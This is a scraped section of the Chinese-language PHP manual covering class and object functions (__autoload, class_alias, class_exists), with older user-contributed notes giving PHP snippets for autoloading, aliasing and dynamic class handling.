Example #2 test_script.php

<?php

// 注册自动加载器以加载类
spl_autoload_register();

function printProperties($obj)
{
foreach (get_object_vars($obj) as $prop => $val) {
echo "\t$prop = $val\n";
}
}

function printMethods($obj)
{
$arr = get_class_methods(get_class($obj));
foreach ($arr as $method) {
echo "\tfunction $method()\n";
}
}

function objectBelongsTo($obj, $class)
{
if (is_subclass_of($obj, $class)) {
echo "Object belongs to class " . get_class($obj);
echo ", a subclass of $class\n";
} else {
echo "Object does not belong to a subclass of $class\n";
}
}

// 实例化 2 对象
$veggie = new Vegetable(true, "blue");
$leafy = new Spinach();

// 打印这些对象的信息
echo "veggie: CLASS " . get_class($veggie) . "\n";
echo "leafy: CLASS " . get_class($leafy);
echo ", PARENT " . get_parent_class($leafy) . "\n";

// 显示蔬菜的属性
echo "\nveggie: Properties\n";
printProperties($veggie);

// 和 leafy 的方法
echo "\nleafy: Methods\n";
printMethods($leafy);

echo "\nParentage:\n";
objectBelongsTo($leafy, Spinach::class);
objectBelongsTo($leafy, Vegetable::class);

?>

以上示例会输出：

veggie: CLASS Vegetable
leafy: CLASS Spinach, PARENT Vegetable

veggie: Properties
        edible = 1
        color = blue

leafy: Methods
        function __construct()
        function cook()
        function isCooked()
        function isEdible()
        function getColor()

Parentage:
Object does not belong to a subclass of Spinach
Object belongs to class Spinach, a subclass of Vegetable

一个重要的事情是需要注意在上面的示例中，对象 $leafy 是 Spinach 的实例（Vegetable 的子类）。

User Contributed Notes

There are no user contributed notes for this page.


类/对象 函数

Table of Contents

  • __autoload — 尝试加载未定义的类
  • class_alias — 为类创建别名
  • class_exists — 查类是否已经定义
  • enum_exists — 检测是否定义对应的枚举
  • get_called_class — 后期静态绑定（"Late Static Binding"）类的名称
  • get_class_methods — 返回由类的方法名组成的数组
  • get_class_vars — 获取类的默认属性
  • get_class — 返回对象的类名
  • get_declared_classes — 返回由已定义类的名字所组成的数组
  • get_declared_interfaces — 返回一个数组包含所有已声明的接口
  • get_declared_traits — 返回所有已定义的 traits 的数组
  • get_mangled_object_vars — 返回将对象属性混在一起的数组
  • get_object_vars — 获取指定对象的属性
  • get_parent_class — 检索对象或者类的父级类名
  • interface_exists — 检查接口是否已被定义
  • is_a — 检查对象是否属于一个给定的类型或子类型。
  • is_subclass_of — 检查对象是否继承或者实现（implement）此类
  • method_exists — 检查类的方法是否存在
  • property_exists — 检查对象或类是否具有该属性
  • trait_exists — 检查指定的 trait 是否存在

User Contributed Notes

Skydev 05-Jan-2011 11:40
A small function that allows finding all references to the object. Written in 3 minutes and may be buggy (for ex pass object as reference in some places?)

<?php
function find_ref_obj($object, $obj, $path) {
    if (in_array($obj,$GLOBALS['__REF_CHECKED'],true))
        return false;
    $GLOBALS['__REF_CHECKED'][]=$obj;
    $r = array();
    foreach ((array)$obj as $k => $v) {
        if ($v === $object)
            $r[] = $path . "->$k";
        if (is_object($v)) {
            $t = find_ref_obj($object,$v,$path . "->$k");
            if ($t!==false)
                $r=array_merge($r,$t);
        }
        else if (is_array($v)) {
            $t = find_ref_arr($object,$v,$path . "->$k");
            if ($t!==false)
                $r=array_merge($r,$t);
        }
    }
    if (empty($r))
        return false;
    else
        return $r;
}
function find_ref_arr($object, $arr, $path) {
    if (in_array($arr,$GLOBALS['__REF_CHECKED'],true))
        return false;
    $GLOBALS['__REF_CHECKED'][]=$arr;
    $r = array();
    foreach ($arr as $k => $v) {
        if ($v === $object)
            $r[] = $path . "['$k']";
        if (is_object($v)) {
            $t = find_ref_obj($object,$v,$path . "['$k']");
            if ($t!==false)
                $r=array_merge($r,$t);
        }
        else if (is_array($v)) {
            $t = find_ref_arr($object,$v,$path . "['$k']");
            if ($t!==false)
                $r=array_merge($r,$t);
        }
    }
    if (empty($r))
        return false;
    else
        return $r;
}
function find_references($object) {
    $r = array();
    $GLOBALS['__REF_CHECKED']=array();
    foreach ($GLOBALS as $n => $v)
    if ($n!='__REF_CHECKED')
    if ($n!='GLOBALS') {
        if ($v === $object)
            $r[]=$n;
        if (is_object($v)) {
            $t = find_ref_obj($object,$v,$n);
            if ($t!==false)
                $r=array_merge($r,$t);
        }
        else if (is_array($v)) {
            $t = find_ref_arr($object,$v,$n);
            if ($t!==false)
                $r=array_merge($r,$t);
        }
    }
    unset($GLOBALS['__REF_CHECKED']);
    return $r;
}

function find_refs($object) {
    return implode(', ',find_references($object));
}
?>
Dennis 01-Jul-2010 04:04
We have an array with many objects in a style like

<?php

$step = new StepModel(1); // if the StepModel id is "1"
$demand = $step->getDemand(); // returns DemandModel
$step2 = $demand->getCustomer(); // returns StepModel
$demand2 = $step2->getDemand(); // returns DemandModel

// [ ... ]

?>

$step and $step2 can be the same objects. So we have an recursive array. Now we need to know if $step == $step2 or $step === $step2. In other words: We need to know the php internal resource ids.

Because there is no function in php api, we made the following function.

Be careful: In our case, all objects have as first attribute ["id":protected]. If your objects are different from this, you need to edit $pattern.

Warning: function is very slow and should only be called if it's necessary for debugging reasons:

<?php

/**
 * returns resource- and object-ids of all objects in an array
 *
 * @param array $array
 * @return array
 */
function getObjectInformation(Array $array)
{
    // start output-buffering
    ob_start();

    // create an var_dump of $array
    var_dump($array);

    // save the dump in var $dump
    $dump = ob_get_contents();

    // clean the output-buffer
    ob_end_clean();

    // delete white-spaces
    $dump = str_replace(' ', '', $dump);

    // define the regex-pattern
    // in our case, all objects look like this:
    //
    // object(ClassName)#1(1){
    // ["id":protected]=>
    // string(1)"1"
    $pattern  = '/object\(([a-zA-Z0-9]+)\)#([0-9]+)\([0-9]+\){\\n';
    $pattern .= '\["id":protected\]=>\\n';
    $pattern .= 'string\([0-9]+\)"([v]?[0-9]+)"/im';

    // search for all matches
    preg_match_all($pattern, $dump, $regs);

    // sort all mathes by class name, object id and then resource id
    array_multisort($regs[1], SORT_ASC, SORT_STRING,
                    $regs[3], SORT_ASC, SORT_NUMERIC,
                    $regs[2], SORT_ASC, SORT_NUMERIC);

    // cache the last match
    $lastMatch = array();

    // the return value
    $return = array();

    // loop through the matches
    for ($i = 0; $i < sizeof($regs[0]); $i ++) {

        // check if the current match was not visited before
        if (0 == sizeof($lastMatch) ||
            $regs[1][$i] != $lastMatch[1] ||
            $regs[2][$i] != $lastMatch[2] ||
            $regs[3][$i] != $lastMatch[3]) {

            // save the match in return value
            array_push($return, array($regs[1][$i],
                                      $regs[2][$i],
                                      $regs[3][$i]));
        }

        // save match in last match cache
        $lastMatch[1] = $regs[1][$i];
        $lastMatch[2] = $regs[2][$i];
        $lastMatch[3] = $regs[3][$i];
    }

    // return all matches
    return $return;
}

?>

I know, it's not that elegant but I hope it's useful for a few people.
ahigerd at timeips dot com 20-Dec-2007 07:02
To access an object member with an illegal character in the name, use this syntax:

$obj->{'illegal-property:name()'}

This is particularly relevant with the dynamically-generated classes used by, for instance, database objects and the SoapClient class.
pascal dot poncet at netconsult dot com 13-Oct-2005 07:21
Subject: using "sql_calc_found_rows" in a MySQL query while exploiting result in a PHP db class object.

Hello,

There is a nice function in MySQL that allows to know how many records would have been returned if no "where" clause were set : SQL_CALC_FOUND_ROWS.

If you have create a db object to collect the returned lines, you will be a little perplex when trying to call the result of this function.

Why ?
Simply because the returned field's name is "found_rows()" and obviously it's not possible to call something like :

<?php $result->found_rows() ?>

...as it will try to acces a method, not a property !

Then, the only way to get the right result seems to be the use of a class function, like :

<?php
  $db->query("select found_rows()");
  $count=current(get_object_vars(current($db->result)));
?>

Of course, if somebody found an other way to solve it, like a special syntax (see the one used with curled arrays in a string), I'm really open to discuss.

Good luck,
Pascal
ia [AT] zoznam [DOT] sk 02-Aug-2005 10:55
as for zabmilenko's solution:
wouldn't it be better to create it this way?

<?php
// The base class for all db classes
class DB {
 protected $connectId;
}

// Class for MySQL, which extends base class
class MySQL extends DB {
 function connect () {
  $this->connectId = mysql_connect (...);
 }
}

// Class for PostgreSQL, which extends base class
class pgSQL extends DB {
 function connect () {
  $this->connectId = pg_connect (...);
 }
}

// and then call constructor like this:
$dbName = "MySQL";
$db = new $dbName ( ... );
// ... which creates an object of class MySQL
?>
zabmilenko at hotmail dot com 27-Jun-2005 12:08
((PHP5))

I wanted to dynamically choose an extender for a class.  This took awhile of playing with it but I came up with a solution.  Note that I can't verify how safe it is, but it appears to work for me.  Perhaps someone else can shed light on the details:

<?php

class A { var $value = "Class A\n"; }
class B { var $value = "Class B\n"; }

// Uncomment which extender you want.  You can use variables as well.
// define('__EXTENDER__', 'A');
   define('__EXTENDER__', 'B');

// Use eval to create a wrapper class.
eval('class EXTENDER extends '. __EXTENDER__ . ' { }');

class C extends EXTENDER
{
  function __construct()
  {
     echo $this->value;
  }
}

$t = new C;

?>

Outputs:   Class B

Practical application:  I have a database abstraction system that has individual classes for mysql, pgsql, et al.  I want to be able to create a global db class that extends one of the individual db classes depending on the application configuration.

I know that there are probably much better ways of doing this but I haven't reached that level when it comes to classes.
cjones 03-Mar-2005 01:27
If anyone is interested in looking for a way to dynamically load existing objects into a class, here is what I found very useful.

//---------------------------------------------------------
// Dynamically load External Objects into a class

  function objRef ( &$obj ) {
    eval("\$this->obj_".get_class($obj)." = \$obj;");
  }
//---------------------------------------------------------
// Reference by using: $this->obj_[object Name]->[var|f{}]

Example:

class date {  function date ( ) { $this->date = "March 3rd"; } }
class time {  function time ( ) { $this->time = "12:30pm"; } }

class show {
    function objRef ( &$obj ){
        eval("\$this->obj_".get_class($obj)." = \$obj;");
    }
   function test ( $var ){
       echo "$var".$this->obj_date->date." @ ".$this->obj_time->time;
   }
}

$date = new date;
$time = new time;
$show = new show;
    $show->objRef($date);
    $show->objRef($time);
    $show->test("Time Now => ");

// Output: Time Now => March 3rd @ 12:30pm

I found the prefix 'obj_' before the class name useful because it helped me to automatically identify external object references when scanning through my scripts. You can omit this if you want. Hope this helps someone.
http://sc.tri-bit.com/ StoneCypher 02-Mar-2005 10:25
to covertka at muohio dot edu and pillepop2003 at yahoo dot de:

There's a much easier solution to getting a class' name for working with a factory function.  Let's assume you're doing something like this:

<?php

  function FactoryFunction($whatever, $instancedata) {

    switch ($whatever) {
      case 'stuff'      : return new Stuff($instancedata);
      case 'otherstuff' : return new Otherstuff($instancedata);
    }

  }

?>

Now, consider the named parameter idiom and remember that PHP uses hashes for everything; as a result make the following changes:

<?php

  function FactoryFunction($whatever, $instancedata) {

    switch ($whatever) {

      case 'stuff'      : return array('typeis'=>'stuff',      'instance'=>new Stuff($instancedata));
      case 'otherstuff' : return array('typeis'=>'otherstuff', 'instance'=>new Otherstuff($instancedata));

    }

  }

?>

Nice 'n simple.  It seems that what the original poster wanted was something like C++ static data members; unfortunately as PHP4 has no static variables at all, there would need to be significant language change to support static-like behavior.  If you move to PHP5, the static keyword solves your problem cleanly.
covertka at muohio dot edu 02-Jan-2005 05:27
To pillepop2003 at yahoo dot de:

I have the same issue.  I have a base class that manages database tasks for a number of child classes.  One of the functions in the base class is a find() method that returns instances of the child classes.  Since find() is usually called as a static method, it needs to know the name of the child class.  As you've found, this appears to be impossible to get in an easy fashion.

The only way I've found to get the child class name is to use the debug_traceback() function.  This requires me to have a find() method in every child class, but it does work.

Here's an example:

<?php
  require_once("Application.php");

  class parentClass {
    function find() {
      $className = NULL;
      foreach (debug_backtrace() as $bt) {
        if ($bt['function'] == __FUNCTION__) {
          $className = $bt['class'];
        }
      }

      // here should be some code to find the proper id, let's assume it was id 1
      $id = 1;
      return new $className($id);
    }
  }

  class foo extends parentClass {
    function __construct($id) {
      $this->id = id;
    }

    function find() {
      return parent::find();
    }
  }

  class bar extends parentClass {
    function __construct($id) {
      $this->id = id;
    }

    function find() {
      return parent::find();
    }
  }

  $a = foo::find();
  printf("Type for \$a: %s<br/>\n", get_class($a));
  $b = bar::find();
  printf("Type for \$b: %s<br/>\n", get_class($b));
?>
iparanoid at gmx dot de 04-Aug-2004 11:17
To pillepop2003 at yahoo dot de:

It seems to me if there really is no nice way to get the class name in an un-instanciated class, there is a workaround in PHP5 though using static/class variables.

Example:

<?php

class myFoo
{
    static $__ClassName = __CLASS__;

    static function getClassName()
    {
        return myFoo::$__ClassName;
    }
};

class myFooExtended extends myFoo
{
    function __construct()
    {
        myFooExtended::$__ClassName = __CLASS__;
    };
};

?>

However, you'll need to have at least instanciated an object of the class myFooExtended before calling getClassName or introduce some other initialization (the class variable will need to be set at some point to __CLASS__ in the sub-class).
greg at doutromundo dot com 05-Jul-2004 07:58
As programmers, you're probably more organized than me, but, I do try and maintain some order in my classes and codes and separate them in "packages" as in java.
This helped me keep them organized but caused havok when trying to use them, so what I did was to create a class that handles the loading of classes (which I instanciate in all pages) along with my error handling class all bundled up. This way, I can load my classes with a command similar to
$baseClass->loadClass("package","className"[,"constructor"]);

the function responsible for this has some checking to see if they are loaded and stuff like that...

function loadClass($packageName,$className,$constructor=""){
  // if you dont have a constructor declare any function inside
  // the class
  if ($constructor==""){
    $constructor=$className;
  }
  if(!is_callable(array($className,$constructor))){
    if (defined("CLASS_DIR")){
      $pkg = CLASS_DIR.$packageName."/";
        if (is_dir($pkg)){
          // we have a directory with the package name
          $cls = $pkg.$className.".class.php";
          if(is_file($cls)){
            // we have a file
            include_once($cls);
          }else{
            die("Class <b>$className</b> could not be found in package <b>$packageName</b> , please check your instalation");
          }
        }else{
          die("Package <b>$packageName</b> could not be found, please check your instalation");
        }
      }
    }
}

Just remember to define CLASS_DIR as the physical path for the directories where you packages are...

Hope this comes in handy...

Here's an example of a diretory strucutre...
/var/www/classes/   <- this would be CLASS_DIR
in there I have:
package1/
     name.class.php
     name2.class.php
....

The loadClass would look like: loadClass("package1","name");

Cute and easy
ettinger at consultant dot com 18-Jun-2004 04:59
Re: Looking for an uninstantiated class

# Loads data from a table into a class object
class LFPDataFactory extends LFPObject {
        var $object;
        var $class;
        var $table;
        function LFPDataFactory($args) {
                $this->unpackArgs($args); // assigns locals from $args
                if (in_array(strtolower($this->class), get_declared_classes())) {
                        $this->object = new $this->class;
                        // assemble the columns in the table...
                        // select their values and put them in our new object...
                } else { trigger_error("Class ".$this->class." not found", E_USER_ERROR); }
        }
}
$r = new LFPDataFactory("class=LFPLayout,table=layout");
$new_obj = $r->object; // this is a LFPLayout object.
print_r($new_obj);

This class looks to see if the class exists, then instantiates it -- a declared class is not the same as an instantiated class. As long as LFPLayout exists somewhere in the scripts, get_declared_classes() will find it. Remember strtolower on compare, however.

Why would I do this? Because I have my class layouts the same as their respective tables; the factory then selects the data (making sure that the variables match) and plugs in the data. (I've left out the actual code to do the selection/insertion).
HOC 28-May-2004 09:40
to pillepop2003

Why do u want to know the classname of an non-existant object?

The only possible explanation for this question seems to me u want to know the class before u instantiate the object. Well, this is of no use since u always instantiate a class of ur choice.

When the class is instantiated into an object u can find the class of the object by means of get_class(). This is all u need. In case of inheritance u can use get_class($this) to get the class of the instantiated object. Now u can differentiate according to which class the object belongs to.

e.g.:

<?php
class A{
   function A(){
      $class_of_this = get_class($this);
      echo 'Object is an instance of class '.$class_of_this.' which is the ';
      if(strcmp($class_of_this,'A')==0)
         echo 'parent-class';
      else if(strcmp($class_of_this,'B')==0)
         echo 'child-class';
      echo ".\n";
   }
}

class B extends A{
   function B(){
      $this->A();
   }
}

$object1 = new A();
$object2 = new B();
?>

When u run this code-snippet the output will be:

Object is an instance of class A which is the parent-class.
Object is an instance of class B which is the child-class.
ar at 5mm de 28-Aug-2003 07:59
I missed some kind of function to dynamicly override or extend an Object:

-----------------------------------------
function &extendObj(&$obj, $code) {
    static $num = 0;

    $classname = get_class($obj);
    $newclass = $classname.$num;

    eval('class '.$newclass.' extends '.$classname.' { '.$code.' }');

    $newobj = new $newclass();

    $vars = get_class_vars($classname);
    foreach($vars AS $key=>$value) {
        $newobj->$key = &$obj->$key;
    }

    return $newobj;
}
-----------------------------------------

This creates a new class which extends the old one by the given code parameter, instanciates it and copy all vars from the old obj to the new one.

-----------------------------------------
class testA {
    var $prop = 'a';

    function funcA($val) {
        $this->prop = $val;
    }

    function value() {
        return $this->prop;
    }
}

$obj = new testA();

$newobj = &extendObj(&$obj, 'function addX() { $this->prop .= "x"; }');

$newobj->funcA('abc');
$newobj->addX();
echo $newobj->value();
-----------------------------------------

Results in 'abcx'. You can use the function multiple times and also with class variables. Be carefull, even if $newobj is just a copy of $obj, $obj->value() will return 'abcx', too, because of the & operator: $newobj->$key = &$obj->$key;
zidsu at hotmail dot com 08-Jul-2003 05:24
FYI: if you want to split your class into manageble chunks, what means different files for you, you can put you functoins into includes, and make include() have a return value. Like this:

class Some_class {
  var $value = 3;
  function add_value ($input_param) {
    return include ("path/some_file.php");
  }
}

And your included file:

$input_param += $this->value;
return $input_param;

Then your function call will be:

$instance = new Some_class ();
$instance->add_value (3);

And this will return
6
hopefully :P

Keep in mind though, that the scope in the included file will be identical to the scope the function 'add_value' has.
And if you want to return the outcome, you should also have a return statement made in your include as well.
asommer*at*as-media.com 20-Sep-2002 02:52
Something I found out just now that comes in very handy for my current project:

it is possible to have a class override itself in any method ( including the constructor ) like this:

class a {

..function ha ( ) {
....if ( $some_expr ) {
......$this = new b;
......return $this->ha ( );
....}
....return $something;
..}

}

in this case assuming that class b is already defined and also has the method ha ( )

note that the code after the statement to override itself is still executed but now applies to the new class

i did not find any information about this behaviour anywhere, so i have no clue wether this is supposed to be like this and if it might change... but it opens a few possibilities in flexible scripting!!
einhverfr at not-this-host dot hotmail dot com 14-Sep-2002 12:35
You may find it helpful in complex projects to have namespaces for your classes, and arrange these in a hierarchical manner.   A simple way to do this is to use the filesystem to order your hierarchies and then define a function like this:

function use_namespace($namespace){

require_once("namespaces/$namespace.obj.php");

}

(lack of indentation due to HTML UI for this page)
This requires that all your object libraries end in .obj.php (which I use) but you can modfy it to suit your needs.  To call it you could, for exmaple call:

use_namespace("example");
or if foo is part of example you can call:
use_namespace("example/foo");
justin at quadmyre dot com 19-Aug-2002 09:38
If you want to be able to call an instance of a class from within another class, all you need to do is store a reference to the external class as a property of the local class (can use the constructor to pass this to the class), then call the external method like this:

$this->classref->memberfunction($vars);

or if the double '->' is too freaky for you, how about:

$ref=&$this->classref;
$ref->memberfunction($vars);

This is handy if you write something like a general SQL class that you want member functions in other classes to be able to use, but want to keep namespaces separate. Hope that helps someone.

Justin

Example:

<?php

class class1 {
    function test($var) {
        $result = $var + 2;
        return $result;
    }
}

class class2{
    var $ref_to_class=''; # to be pointer to other class

    function class1(&$ref){ #constructor
        $this->ref_to_class=$ref; #save ref to other class as property of this class
    }

    function test2($var){
        $val = $this->ref_to_class->test($var); #call other class using ref
        return $val;
    }
}

$obj1=new class1;
# obj1 is instantiated.
$obj2=new class2($obj1);
# pass ref to obj1 when instantiating obj2

$var=5;
$result=obj2->test2($var);
# call method in obj2, which calls method in obj1
echo ($result);

?>
gateschris at yahoo dot com 08-Mar-2001 01:59
[Editor's note: If you are trying to do overriding, then you can just interrogate (perhaps in the method itself) about what class (get_class()) the object belongs to, or if it is a subclass of a particular root class.

You can alway refer to the parent overriden method, see the "Classes and Objects" page of the manual and comments/editor's notes therein.]

There is no function to determine if a member belongs to a base class or current class eg:

<?php
class foo {
 function foo () { }
 function a () { }
}

class bar extends foo {
 function bar () { }
 function a () { }
}

lala = new Bar();
?>
------------------
how do we find programmatically if member a now belongs to class Bar or Foo.


尝试加载未定义的类

  • ? 类/对象 函数
  • class_alias ?
  • PHP Manual
  • 类/对象 函数
  • 尝试加载未定义的类

__autoload

(PHP 5, PHP 7)

__autoload — 尝试加载未定义的类

Warning

本函数已自 PHP 7.2.0 起被废弃，并自 PHP 8.0.0 起被移除。 强烈建议不要依赖本函数。

说明

__autoload(string $class): void

你可以通过定义这个函数来启用类的自动加载。

参数

class

待加载的类名。

返回值

没有返回值。

参见

  • spl_autoload_register() - 注册指定的函数作为 __autoload 的实现

User Contributed Notes

There are no user contributed notes for this page.


为类创建别名

  • ? __autoload
  • class_exists ?
  • PHP Manual
  • 类/对象 函数
  • 为类创建别名

class_alias

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

class_alias — 为类创建别名

说明

class_alias(string $class, string $alias, bool $autoload = true): bool

基于用户定义的类 class 创建别名 alias。 这个别名类和原有的类完全相同。

参数

class

原有的类。

alias

类的别名。

autoload

如果原始类没有加载，是否使用自动加载。

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 class_alias() 示例

<?php

class Foo { }

class_alias('Foo', 'Bar');

$a = new Foo;
$b = new Bar;

// 对象是相同的
var_dump($a == $b, $a === $b);
var_dump($a instanceof $b);

// 类是相同的
var_dump($a instanceof Foo);
var_dump($a instanceof Bar);

var_dump($b instanceof Foo);
var_dump($b instanceof Bar);

?>

以上示例会输出：

bool(true)
bool(false)
bool(true)
bool(true)
bool(true)
bool(true)
bool(true)

注释

Note:

类名在 PHP 中不区分大小写，这一点也反映在此函数中。由 class_alias() 创建的别名声明为小写。这意味着对于 MyClass 类，调用 class_alias('MyClass', 'MyClassAlias') 将声明名为 myclassalias 的新的类别名。

参见

  • get_parent_class() - 检索对象或者类的父级类名
  • is_subclass_of() - 检查对象是否继承或者实现（implement）此类

User Contributed Notes

Anonymous 16-Oct-2020 06:48
Check is alias:
<?php
/**
 * @param string $class Class name
 * @return bool
 */
function is_alias(string $class): bool
{
    return $class !== (new ReflectionClass($class))->name;
}
?>
Get class aliases:
<?php
/**
 * @param string $class Class name
 * @param bool $throw Throw exception at error?
 * @return string[]|null Aliases or null at error in silent mode
 * @throws InvalidArgumentException Class not exists or it's alias
 */
function get_class_aliases(string $class, bool $throw = false): ?array
{
    /**
     * @var array An array of defined classes: keys - classes, values - aliases
     */
    static $classes = [];
    // check: class exists
    if (! class_exists($class, true)) {
        if ($throw) {
            throw new InvalidArgumentException('Class ' . $class . ' not exists');
        }
        return null;
    }
    // refresh list
    $newClasses = array_diff(get_declared_classes(), array_keys($classes));
    if ($newClasses) {
        $abc = range('a', 'z');
        foreach ($newClasses as $newClass) {
            // fast check first char: class_alias() convert alias to lower case
            if (in_array($newClass[0], $abc, true)) {
                $realClass = (new ReflectionClass($newClass))->getName();
                $classes[$newClass] = $newClass !== $realClass ? $realClass : null;
            } else {
                $classes[$newClass] = null;
            }
        }
        unset($abc, $newClasses);
    }
    // check: is alias?
    if (! empty($classes[$class])) {
        if ($throw) {
            throw new InvalidArgumentException($class . ' is alias for class ' . $classes[$class]);
        }
        return null;
    }
    // find aliases
    return array_keys($classes, $class, true);
}
?>
Usage:
<?php
class Foo {}
class_alias('Foo', 'Bar');
class_alias('Bar', 'Baz');
$aliases = get_class_aliases('Foo', true); // ['bar', 'baz']
?>
info at ensostudio dot ru 03-Oct-2020 07:30
Note: this function set alias for user classes, you can't use something like this
<?php
class_alias('ArrayObject', 'ArrObj');
?>
elliseproduction at gmail dot com 29-Apr-2020 12:09
You can add a alias inside a class :

<?php

class foo{

    function __construct(){

        echo('yes!');

    }
}

class bar {

    function __construct(){

        class_alias('foo', 'fooAlias');

    }

    function test(){

        new fooAlias;

    }

}

$bar=new bar;

$bar->test(); // yes!
Hayley Watson 12-Jun-2018 01:55
The alias really is an alias for the existing class. It's not a new class of any kind - whether by inheritance or otherwise; it doesn't just look and behave exactly like the existing class; it really is the same class.

<?php

class foo
{
    public static $count = 0;
}

class_alias('foo', 'bar');

bar::$count++;

echo foo::$count; // Output: 1

echo get_class(new Bar); // Output: foo
?>
Note in the last line there that aliases are just as case-insensitive as "genuine" class names.
sofe2038 at gmail dot com 07-Jan-2017 04:06
Doesn't work with coupled classes when used along with autoloading.

For example, in these classes where each class is autoloaded in a separate class file:

Foo.php:

<?php
interface Foo{
  public function fx(Bar $bar);
}
?>

Bar2.php:

<?php
class Bar2 implements Foo{
  public function fx(Bar2 $bar){
    // some implementation code here
  }
}
?>

Bar.php:

<?php
class_alias("Bar2", "Bar");
?>

When used with an autoloader like this:

<?php
spl_autoload_register(function($class){
  require($class . ".php");
});
new Bar;
?>

Results in fatal error:

    Declaration of Bar2::fx(Bar2 $bar) must be compatible with Foo::fx(Bar $bar) in ~/Bar2.php on line 2
sofe2038 at gmail dot com 07-Jan-2017 04:06
Doesn't work with coupled classes when used along with autoloading.

For example, in these classes where each class is autoloaded in a separate class file:

Foo.php:

<?php
interface Foo{
  public function fx(Bar $bar);
}
?>

Bar2.php:

<?php
class Bar2 implements Foo{
  public function fx(Bar2 $bar){
    // some implementation code here
  }
}
?>

Bar.php:

<?php
class_alias("Bar2", "Bar");
?>

When used with an autoloader like this:

<?php
spl_autoload_register(function($class){
  require($class . ".php");
});
new Bar;
?>

Results in fatal error:

    Declaration of Bar2::fx(Bar2 $bar) must be compatible with Foo::fx(Bar $bar) in ~/Bar2.php on line 2
robsonvnasc at gmail dot com 22-Sep-2016 03:30
It also works with Traits!

<?php
trait Foo {}
class_alias("Foo","Bar");
echo trait_exists("Bar") ? 'yes' : 'no';
?>
//yes
stanislav dot eckert at vizson dot de 14-Sep-2015 07:00
class_alias() creates aliases only for user defined classes, not for classes supplied by PHP (PHP will show the warning "First argument of class_alias() must be a name of user defined class"). To create aliases for every kind of classes, use namespaces:

<?php

// Does not work
class_alias("ZipArchive", "myZip");

// Creates class alias "myZip" of class "ZipArchive"
use \ZipArchive as myZip;

?>
petar dot karan dot pk at gmail dot com 06-Feb-2014 02:19
If you need the same function in PHP version < 5.3 you can use this

<?php
function class_alias($original,$alias) {
    $newclass = create_function('','class '.$alias.' extends '.$original.' {}');
    $newclass();
}
?>
mweierophinney at gmail dot com 06-Mar-2013 02:05
class_alias() gives you the ability to do conditional imports.

Whereas the following will not work:

<?php
namespace Component;

if (version_compare(PHP_VERSION, '5.4.0', 'gte')) {
    use My\ArrayObject;
} else {
    use ArrayObject;
}

class Container extends ArrayObject
{
}
?>

the following, using class_alias, will:

<?php
namespace Component;

if (version_compare(PHP_VERSION, '5.4.0', 'lt')) {
    class_alias('My\ArrayObject', 'Component\ArrayObject');
} else {
    class_alias('ArrayObject', 'Component\ArrayObject');
}

class Container extends ArrayObject
{
}
?>

The semantics are slightly different (I'm now indicating that Container extends from an ArrayObject implementation in the same namespace), but the overall idea is the same: conditional imports.
sergey dot karavay at gmail dot com 25-Feb-2013 11:08
At first, you might wonder that:
<?php class A {}; class_alias('A', 'B'); ?>

is equivalent to:
<?php class A {}; class B extends A {}; ?>

class_alias is NOT equivalent to class extending! Private methods/properties are unseen in child classes, but in alias classes they are.
Anonymous 12-Feb-2013 05:42
Like class_alias but for functions:

<?php
function function_alias ($original, $alias) {

  $args = func_get_args();
  assert('count($args) == 2', 'function_alias() require exactly two arguments');
  assert('is_string($original) && is_string($alias)', 'function_alias() require string arguments');

  // valid function name - http://php.net/manual/en/functions.user-defined.php
  assert('preg_match(\'/^[a-zA-Z_\x7f-\xff][\\\\\\\\a-zA-Z0-9_\x7f-\xff]*$/\', $original) > 0',
    "'$original' is not a valid function name");
  assert('preg_match(\'/^[a-zA-Z_\x7f-\xff][\\\\\\\\a-zA-Z0-9_\x7f-\xff]*$/\', $alias) > 0',
    "'$alias' is not a valid function name");

  $aliasNamespace = substr($alias, 0, strrpos($alias, '\\') !== false ? strrpos($alias, '\\') : 0);
  $aliasName = substr($alias, strrpos($alias, '\\') !== false ? strrpos($alias, '\\') + 1 : 0);
  $serializedOriginal = var_export($original, true);

  eval("
    namespace $aliasNamespace {
      function $aliasName () {
        return call_user_func_array($serializedOriginal, func_get_args());
      }
    }
  ");

}

?>

Until hopefully function_alias is added to php...
adam at adamhahn dot com 06-Sep-2011 12:13
Something to note,

If the $original class has not yet been defined or loaded, the auto loader will be invoked in order to try and load it.

If the class for which you are trying to create an alias does not exist, or can not be loaded with the auto loader, you will generate a PHP Warning.
programmer-comfreek at hotmail dot com 15-Aug-2011 09:38
If you defined the class 'original' in a namespace, you will have to specify the namespace(s), too:
<?php
namespace ns1\ns2\ns3;

class A {}

class_alias('ns1\ns2\ns3\A', 'B');
/* or if you want B to exist in ns1\ns2\ns3 */
class_alias('ns1\ns2\ns3\A', 'ns1\ns2\ns3\B');
?>
nicolas dot grekas+php at gmail dot com 31-Dec-2010 01:09
At first, you might wonder that:
<?php class A {}; class_alias('A', 'B'); ?>

is equivalent to:
<?php class A {}; class B extends A {}; ?>

BUT when derivation creates a new class name - that means, you can then instantiate a new kind of objects - aliasing is just what it says: a synonym, so objects instantiated with the aliased name are of the exact same kind of objects instantiated with the non-aliased name.

See this code for example:
<?php
class A {};
class B1 extends A {};
class_alias('A', 'B2');

$b1 = new B1; echo get_class($b1); // prints B1
$b2 = new B2; echo get_class($b2); // prints A !
?>
nicolas dot grekas+php at gmail dot com 30-Dec-2010 02:41
class_alias also works for interfaces!

<?php
interface foo {}
class_alias('foo', 'bar');
echo interface_exists('bar') ? 'yes!' : 'no'; // prints yes!
?>


查类是否已经定义

  • ? class_alias
  • enum_exists ?
  • PHP Manual
  • 类/对象 函数
  • 查类是否已经定义

class_exists

(PHP 4, PHP 5, PHP 7, PHP 8)

class_exists — 查类是否已经定义

说明

class_exists(string $class, bool $autoload = true): bool

该函数检查指定的类是否已经定义。

参数

class

类名。名称以不区分大小写的方式匹配。

autoload

如果尚未加载，是否自动加载。

返回值

如果 class 是已经定义的类，则返回 true，否则返回 false。

示例

Example #1 class_exists() 示例

<?php
// 在尝试使用前检查类是否存在
if (class_exists('MyClass')) {
$myclass = new MyClass();
}

?>

Example #2 autoload 参数示例

<?php
spl_autoload_register(function ($class_name) {
include $class_name . '.php';

// 检查 include 后是否声明了类
if (!class_exists($class_name, false)) {
throw new LogicException("Unable to load class: $class_name");
}
});

if (class_exists(MyClass::class)) {
$myclass = new MyClass();
}

?>

参见

  • function_exists() - 如果给定的函数已经被定义就返回 true
  • enum_exists() - 检测是否定义对应的枚举
  • interface_exists() - 检查接口是否已被定义
  • get_declared_classes() - 返回由已定义类的名字所组成的数组

